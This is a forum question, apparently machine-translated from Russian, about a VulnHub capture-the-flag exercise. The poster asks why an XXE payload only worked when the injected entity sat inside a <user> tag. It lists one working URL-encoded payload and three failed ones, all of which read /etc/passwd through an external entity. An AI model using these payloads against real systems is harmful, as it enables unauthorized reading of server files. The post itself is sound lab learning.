какие теги используются, чтобы избежать использования фильтров в xxe,xml-инъекциях

я делал этот захват флага:https://blog.mzfr.me/vulnhub-writeups/2019-08-24-scare

Я тестировал полезные нагрузки для xxe, но ни один из них не работал, даже после кодирования URL-адресов определенных символов

в пошаговом руководстве, которое я разместил здесь, я увидел, что его полезная нагрузка была слишком похожа на те, которые я использовал

что я обнаружил, так это то, что он пометил запрос, и второй тег должен был быть "пользователем", если нет, это не сработает

вот PayloAD, который работает <%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+[<!ENTITY+test+SYSTEM+'file%3a///etc/passwd'>]><root><user>%26test%3b</user></root>

и вот некоторые полезные данные, которые я использовал и не работал

      %3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYSTEM+"file%3a///etc/passwd">]><xxe>%26xmli%3b</xxe>

<%3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYSTEM+"file%3a///etc/passwd">]><xxe><e>%26xmli%3b</e></xxe>



<%3fxml+version%3d"1.0"%3f><!DOCTYPE+foo+[<!ENTITY+xmli+SYSTEM+'file%3a///etc/passwd'>]><xxe><e>%26xmli%3b</e></xxe>

мои вопросы: почему это должен быть тег «пользователь» и как я могу узнать, что мне нужно его использовать? почему dobble tag?

заранее спасибо и извините за мой английский

0 ответов

Другие вопросы по тегам